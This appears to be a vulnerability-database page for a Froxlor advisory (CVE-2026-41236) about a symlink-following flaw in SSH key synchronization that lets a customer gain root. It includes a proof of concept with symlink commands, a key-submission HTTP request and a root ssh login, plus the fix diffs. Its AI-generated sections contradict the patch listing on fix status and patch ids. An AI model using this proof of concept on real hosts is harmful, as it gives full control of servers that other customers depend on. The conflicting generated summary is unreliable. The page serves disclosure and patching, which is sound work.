VYPR
High severity8.8GHSA Advisory· Published May 29, 2026· Updated May 29, 2026

Froxlor has privilege escalation in SSH key synchronization via symlinked `authorized_keys` path

CVE-2026-41236

Description

Summary

Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link.

If an attacker controls a shell-enabled customer account and can modify files inside the assigned home directory, the attacker can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys. When Froxlor's privileged cron task later synchronizes SSH keys, it appends the attacker-supplied key into root's authorized key file, resulting in root SSH access.

Details

The customer-facing SSH key workflow accepts an FTP user selection and an arbitrary public key from the authenticated session and forwards them into SshKeys::add():

// customer_ftp.php:251-253
if ($action == 'add' && Request::post('send') == 'send') {
    $result = $log->logAction(USR_ACTION, LOG_INFO, "added SSH-key");
    Commands::get()->apiCall('SshKeys.add', Request::postAll());
}

On the server side, the add handler stores the public key and schedules an NSS rebuild as long as the customer has shell capability enabled at the customer level:

// lib/Froxlor/Api/Commands/SshKeys.php:67-70,120-145
if ($this->getUserDetail('shell_allowed') != '1') {
    throw new Exception("You cannot add SSH keys because shell access is disabled for your account.");
}

$ins_stmt = Database::prepare("
    INSERT INTO `" . TABLE_PANEL_CUSTOMERS_SSH ."`.
");
Settings::AddTask('rebuildnssusers');

Later, a root-owned cron path enters SshKeys::generateFiles() and derives the target path by simple string concatenation:

// lib/Froxlor/Cron/System/SshKeys.php:52-64
$sshdir = FileDir::makeCorrectDir($userinfo['homedir'] . '/.ssh');
$authkeysfile = FileDir::makeCorrectFile($sshdir . '/authorized_keys');
if (!file_exists($authkeysfile)) {
    touch($authkeysfile);
}

The helper used here only normalizes the path string and does not resolve or reject symlinks:

// lib/Froxlor/FileDir.php:376-392
public static function makeCorrectFile(string $file): string
{
    $file = str_replace('//', '/', $file);
    $file = str_replace('\\', '', $file);
    return $file;
}

The root-owned sync code then appends attacker-controlled SSH key material to the derived path:

// lib/Froxlor/Cron/System/SshKeys.php:94-103
file_put_contents($authkeysfile, $userinfo['ssh-rsa'] . "\n", FILE_APPEND | LOCK_EX);
chown($authkeysfile, $userinfo['uid']);
chgrp($authkeysfile, $userinfo['gid']);

Because Froxlor also grants the customer ownership of the home directory tree during account provisioning, the attacker can place a symbolic link at ~/.ssh/authorized_keys before the privileged synchronization step runs.

PoC

An attacker needs an authenticated customer account with shell-enabled home-directory control. That prerequisite may exist by normal configuration, or it may be obtained first through the separate FTP shell-assignment authorization bypass described in the companion report.

Relevant runtime prerequisites:

  • the attacker controls a customer-owned home directory on the target host
  • the attacking customer has shell_allowed=1
  • the attacker can submit SSH keys through the Froxlor panel
  • Froxlor's master cron runs with the intended root privileges

Complete PoC flow:

  1. Obtain shell access as the customer-owned account and prepare a symlink in the home directory:
mkdir -p ~/.ssh
rm -f ~/.ssh/authorized_keys
ln -s /root/.ssh/authorized_keys ~/.ssh/authorized_keys
  1. From an authenticated Froxlor customer session, submit a new SSH public key for the relevant FTP user:
POST /customer_ftp.php?page=sshkeys&action=add HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
Cookie: 

csrf_token=VALID_CSRF_TOKEN&
send=send&
description=poc&
ftpuser=17&
ssh_pubkey=ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB attacker@host
  1. Wait for Froxlor's master cron to process the queued REBUILD_NSSUSERS task.
  2. Use the corresponding private key to authenticate as root:
ssh -i id_ed25519 root@target.example

Result:

  • the root-owned cron task follows the symlinked authorized_keys path
  • the submitted public key is appended to /root/.ssh/authorized_keys
  • SSH access as root succeeds with the attacker's key pair

Impact

This is a direct customer-to-root privilege escalation on the managed host. A successful attacker can obtain full operating-system control, read or modify all hosted customer data, persist at the highest privilege level, and tamper with every service administered by the server.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Froxlor 2.3.6 SSH key synchronization performs symlink-following, allowing a shell-enabled customer to escalate to root SSH access.

Vulnerability

Froxlor 2.3.6 contains a symlink-following flaw in the root-owned SSH key synchronization path used for customer FTP users [1][2]. The provisioning code appends public keys to ~/.ssh/authorized_keys under a customer-controlled home directory without verifying that the target path is not a symbolic link [1]. The helper FileDir::makeCorrectFile() only normalizes the path string and does not resolve or reject symlinks [2].

Exploitation

An attacker who controls a shell-enabled customer account and can modify files inside the assigned home directory can replace ~/.ssh/authorized_keys with a symlink to /root/.ssh/authorized_keys [1][2]. When Froxlor's privileged cron task later synchronizes SSH keys via SshKeys::generateFiles(), it appends the attacker-supplied public key into root's authorized key file [1]. No additional authentication or user interaction beyond the attacker's own session is required [1][2].

Impact

The attacker gains root SSH access to the server, obtaining full control over the system (confidentiality, integrity, and availability) [1][2].

Mitigation

As of the advisory publication date (2026-05-29), no fixed version has been released; the vulnerability exists in Froxlor 2.3.6 [1][2]. Users are advised to disable shell access for customer accounts or restrict file modification capabilities until a patch is available [1][2].

AI Insight generated on May 29, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2
  • Froxlor/FroxlorGHSA2 versions
    = 2.3.6+ 1 more
    • (no CPE)range: = 2.3.6
    • (no CPE)range: 2.3.6

Patches

2
662a034e57d3

ensure a given symlink is resolved and validated correctly in `FileDir::makeCorrectFile()`

https://github.com/froxlor/froxlorMichael KaufmannApr 30, 2026Fixed in 2.3.7via ghsa-release-walk
1 file changed · +5 2
  • lib/Froxlor/FileDir.php+5 2 modified
    @@ -312,7 +312,7 @@ public static function getUnknownDomainTemplate(string $servername = "")
     	public static function storeDefaultIndex(
     		string $loginname,
     		string $destination,
    -			   $logger = null,
    +		       $logger = null,
     		bool   $force = false
     	)
     	{
    @@ -391,6 +391,8 @@ public static function makeCorrectFile(string $filename, string $fixed_homedir =
     			$filename = '/' . $filename;
     		}
     
    +		$filename = FileDir::makeCorrectDir(dirname($filename)) . '/' . basename($filename);
    +
     		// if given, check that the target file is within the $fixed_homedir
     		// by checking each folder and the file for being a symlink and whether it targets
     		// the customers homedir or points outside of it
    @@ -420,7 +422,8 @@ public static function makeCorrectFile(string $filename, string $fixed_homedir =
     			}
     			// check whether file is symlink itself
     			if (is_link($filename)) {
    -				$check_dir = readlink($check_dir);
    +				$filename = readlink($filename);
    +				$check_dir = FileDir::makeCorrectDir(dirname($filename), $fixed_homedir);
     				if (substr($check_dir, 0, strlen($fixed_homedir)) != $fixed_homedir) {
     					throw new Exception("Found symlink pointing outside of customer home directory: " . substr($filename, strlen($fixed_homedir)));
     				}
    
3dceec4650e0

secured regex for Dns LOC entries validation; remove invalid control characters in every dns content-field; ensure given shell exists in Ftps.add/update; ensure authorized_keys file for SshKeys is within the customers documentroot

https://github.com/froxlor/froxlorMichael KaufmannApr 21, 2026Fixed in 2.3.7via ghsa-release-walk
6 files changed · +74 21
  • install/updates/preconfig/preconfig_2.3.inc.php+5 5 modified
    @@ -82,12 +82,12 @@
     		$return['system_webserver_serveradmin'] = [
     			'type' => 'select',
     			'select_var' => [
    -				'customer' => lng('admin.webserver_serveradmin.customer'),
    -				'admin' => lng('admin.webserver_serveradmin.admin'),
    -				'global' => lng('admin.webserver_serveradmin.global'),
    -				'none' => lng('admin.webserver_serveradmin.none')
    +				'customer' => 'Customer email address (default)',
    +				'admin' => 'Admin email address',
    +				'global' => 'Panel admin email address',
    +				'none' => 'No ServerAdmin'
     			],
    -			'selected' => 'apache2',
    +			'selected' => 'customer',
     			'label' => $question,
     			'prior_infotext' => $description
     		];
    
  • lib/Froxlor/Api/Commands/DomainZones.php+5 2 modified
    @@ -145,8 +145,6 @@ public function add()
     			}
     		}
     
    -		// TODO regex validate content for invalid characters
    -
     		if ($ttl <= 0) {
     			$ttl = 18000;
     		}
    @@ -156,6 +154,11 @@ public function add()
     			$errors[] = lng('error.dns_content_empty');
     		}
     
    +		// remove invalid control characters (allow tab + printable ASCII)
    +		$content = preg_replace('/[^\x09\x20-\x7E]/', '', $content);
    +		// collapse excessive whitespace
    +		$content = preg_replace('/\s+/', ' ', $content);
    +
     		if ($type != 'CNAME') {
     			// check whether there is a CNAME-record for the same resource
     			foreach ($dom_entries as $existing_entries) {
    
  • lib/Froxlor/Api/Commands/Ftps.php+8 0 modified
    @@ -118,6 +118,10 @@ public function add()
     
     			if (Settings::Get('system.allow_customer_shell') == '1' && $customer['shell_allowed'] == '1') {
     				$shell = Validate::validate(trim($shell), 'shell', '', '', [], true);
    +				$availableshells = explode(',', Settings::Get('system.available_shells'));
    +				if (!is_array($availableshells) || empty($availableshells) || !in_array($shell, $availableshells)) {
    +					$shell = "/bin/false";
    +				}
     			} else {
     				$shell = "/bin/false";
     			}
    @@ -438,6 +442,10 @@ public function update()
     
     		if (Settings::Get('system.allow_customer_shell') == '1' && $customer['shell_allowed'] == '1') {
     			$shell = Validate::validate(trim($shell), 'shell', '', '', [], true);
    +			$availableshells = explode(',', Settings::Get('system.available_shells'));
    +			if (!is_array($availableshells) || empty($availableshells) || !in_array($shell, $availableshells)) {
    +				$shell = "/bin/false";
    +			}
     		} else {
     			$shell = "/bin/false";
     		}
    
  • lib/Froxlor/Cron/System/SshKeys.php+5 1 modified
    @@ -33,6 +33,9 @@
     
     class SshKeys
     {
    +	/**
    +	 * @throws \Exception
    +	 */
     	public static function generateFiles(&$cronlog)
     	{
     		if (intval(Settings::Get('system.allow_customer_shell')) == 0) {
    @@ -50,7 +53,8 @@ public static function generateFiles(&$cronlog)
     			SELECT `id`, `ssh_pubkey` FROM `" . TABLE_PANEL_USER_SSHKEYS . "` WHERE `ftp_user_id` = :fuid AND `customerid` = :cid
     		");
     		while ($usr = $sel_stmt->fetch(PDO::FETCH_ASSOC)) {
    -			$authkeysfile = FileDir::makeCorrectFile($usr['homedir'] . '/.ssh/authorized_keys');
    +			$userHomeDir = FileDir::makeCorrectDir($usr['homedir'] . '/.ssh', $usr['homedir']);
    +			$authkeysfile = FileDir::makeCorrectFile($userHomeDir . '/authorized_keys', $usr['homedir']);
     			$cronlog->logAction(FroxlorLogger::CRON_ACTION, LOG_NOTICE, 'Creating file ' . $authkeysfile);
     			// remove all entries with 'froxlor:id=...'
     			self::removeFroxlorKeys($authkeysfile, $cronlog);
    
  • lib/Froxlor/FileDir.php+39 1 modified
    @@ -370,10 +370,12 @@ public static function storeDefaultIndex(
     	 * Function which returns a correct filename, means to add a slash at the beginning if there wasn't one
     	 *
     	 * @param string $filename the filename
    +	 * @param string $fixed_homedir whether to check that the given file is within the fixed home-directory
     	 *
     	 * @return string the corrected filename
    +	 * @throws Exception
     	 */
    -	public static function makeCorrectFile(string $filename): string
    +	public static function makeCorrectFile(string $filename, string $fixed_homedir = ""): string
     	{
     		if (trim($filename) == '') {
     			$error = 'Given filename for function ' . __FUNCTION__ . ' is empty.' . "\n";
    @@ -389,6 +391,42 @@ public static function makeCorrectFile(string $filename): string
     			$filename = '/' . $filename;
     		}
     
    +		// if given, check that the target file is within the $fixed_homedir
    +		// by checking each folder and the file for being a symlink and whether it targets
    +		// the customers homedir or points outside of it
    +		if (!empty($fixed_homedir)) {
    +			$to_check = explode("/", substr($filename, strlen(self::makeCorrectDir($fixed_homedir))), -1);
    +			$check_dir = substr($fixed_homedir, -1) == '/' ? substr($fixed_homedir, 0, -1) : $fixed_homedir;
    +			// Symlink check
    +			foreach ($to_check as $sub_dir) {
    +				$check_dir .= '/' . $sub_dir;
    +				if (is_link($check_dir)) {
    +					$original_target = $check_dir;
    +					$check_dir = readlink($check_dir);
    +					$link_dir = dirname($original_target);
    +					// check whether the link is relative or absolute
    +					if (substr($check_dir, 0, 1) != '/') {
    +						// relative directory, prepend link_dir
    +						$check_dir = $link_dir . '/' . $check_dir;
    +					}
    +					if (substr($check_dir, 0, strlen($fixed_homedir)) != $fixed_homedir) {
    +						throw new Exception("Found symlink pointing outside of customer home directory: " . substr($original_target, strlen($fixed_homedir)));
    +					}
    +				}
    +			}
    +			// check for the path to be within the given homedir
    +			if (substr($filename, 0, strlen($fixed_homedir)) != $fixed_homedir) {
    +				throw new Exception("Target path/file not within the required customer home directory");
    +			}
    +			// check whether file is symlink itself
    +			if (is_link($filename)) {
    +				$check_dir = readlink($check_dir);
    +				if (substr($check_dir, 0, strlen($fixed_homedir)) != $fixed_homedir) {
    +					throw new Exception("Found symlink pointing outside of customer home directory: " . substr($filename, strlen($fixed_homedir)));
    +				}
    +			}
    +		}
    +
     		return self::makeSecurePath($filename);
     	}
     
    
  • lib/Froxlor/Validate/Validate.php+12 12 modified
    @@ -390,18 +390,18 @@ public static function validateBase64Image(string $base64string)
     	public static function validateDnsLoc(string $input)
     	{
     		$pattern = '/^
    -        (\d{1,2})\s+                # latitude degrees
    -        (\d{1,2})\s+                # latitude minutes
    -        (\d{1,2}(?:\.\d+)?)\s+      # latitude seconds
    -        ([NS])\s+                   # latitude direction
    -        (\d{1,3})\s+                # longitude degrees
    -        (\d{1,2})\s+                # longitude minutes
    -        (\d{1,2}(?:\.\d+)?)\s+      # longitude seconds
    -        ([EW])\s+                   # longitude direction
    +        (\d{1,2})[ \t]+                # latitude degrees
    +        (\d{1,2})[ \t]+                # latitude minutes
    +        (\d{1,2}(?:\.\d+)?)[ \t]+      # latitude seconds
    +        ([NS])[ \t]+                   # latitude direction
    +        (\d{1,3})[ \t]+                # longitude degrees
    +        (\d{1,2})[ \t]+                # longitude minutes
    +        (\d{1,2}(?:\.\d+)?)[ \t]+      # longitude seconds
    +        ([EW])[ \t]+                   # longitude direction
             (-?\d+(?:\.\d+)?)m          # altitude
    -        (?:\s+(\d+(?:\.\d+)?)m      # size (optional)
    -        (?:\s+(\d+(?:\.\d+)?)m      # horiz precision (optional)
    -        (?:\s+(\d+(?:\.\d+)?)m)?    # vert precision (optional)
    +        (?:[ \t]+(\d+(?:\.\d+)?)m      # size (optional)
    +        (?:[ \t]+(\d+(?:\.\d+)?)m      # horiz precision (optional)
    +        (?:[ \t]+(\d+(?:\.\d+)?)m)?    # vert precision (optional)
             )?)?$/x';
     
     		if (!preg_match($pattern, $input, $matches)) {
    @@ -551,7 +551,7 @@ public static function validateDnsTlsa(string $input)
     			return false; // SHA-512
     		}
     
    -		if ($matchingType === 0 && strlen($data) < 2) {
    +		if ($matchingType === 0 && (strlen($data) < 2 || strlen($data) > 4096)) {
     			return false; // at least 1 byte hex
     		}
     
    

Vulnerability mechanics

Root cause

"Missing symlink validation in the SSH key synchronization path allows a customer-controlled symlink to redirect privileged file writes to an arbitrary location."

Attack vector

An attacker with a shell-enabled customer account replaces `~/.ssh/authorized_keys` with a symlink pointing to `/root/.ssh/authorized_keys`. When Froxlor's root-owned cron task later runs `SshKeys::generateFiles()`, it follows the symlink and appends the attacker's submitted SSH public key into root's authorized_keys file, granting root SSH access. The attacker must have an authenticated Froxlor session, shell access on the customer account, and the ability to submit SSH keys through the panel [ref_id=1][ref_id=2].

Affected code

The vulnerability lies in `lib/Froxlor/Cron/System/SshKeys.php` where `generateFiles()` constructs the authorized_keys path via `FileDir::makeCorrectFile()` without symlink resolution, and in `lib/Froxlor/FileDir.php` where the original `makeCorrectFile()` only normalizes path strings without checking for symbolic links. The cron task at `SshKeys.php:52-64` and the file-writing at `SshKeys.php:94-103` are the critical code paths.

What the fix does

Patch 3101451 adds a `$fixed_homedir` parameter to `FileDir::makeCorrectFile()` and iterates over each path component, calling `readlink()` on any symlink and throwing an exception if the resolved target points outside the customer's home directory [patch_id=3101451]. Patch 3101452 further refines the symlink check by also resolving the final file component itself via `readlink()` and validating it stays within the homedir [patch_id=3101452]. Together these patches ensure the cron task cannot follow a symlink that escapes the customer's home directory.

Preconditions

  • authAttacker must have a shell-enabled customer account with write access to the home directory
  • authAttacker must be able to submit SSH keys through the authenticated Froxlor panel
  • configFroxlor's master cron must run with root privileges
  • configCustomer must have shell_allowed=1

Generated on May 29, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

2

News mentions

0

No linked articles in our index yet.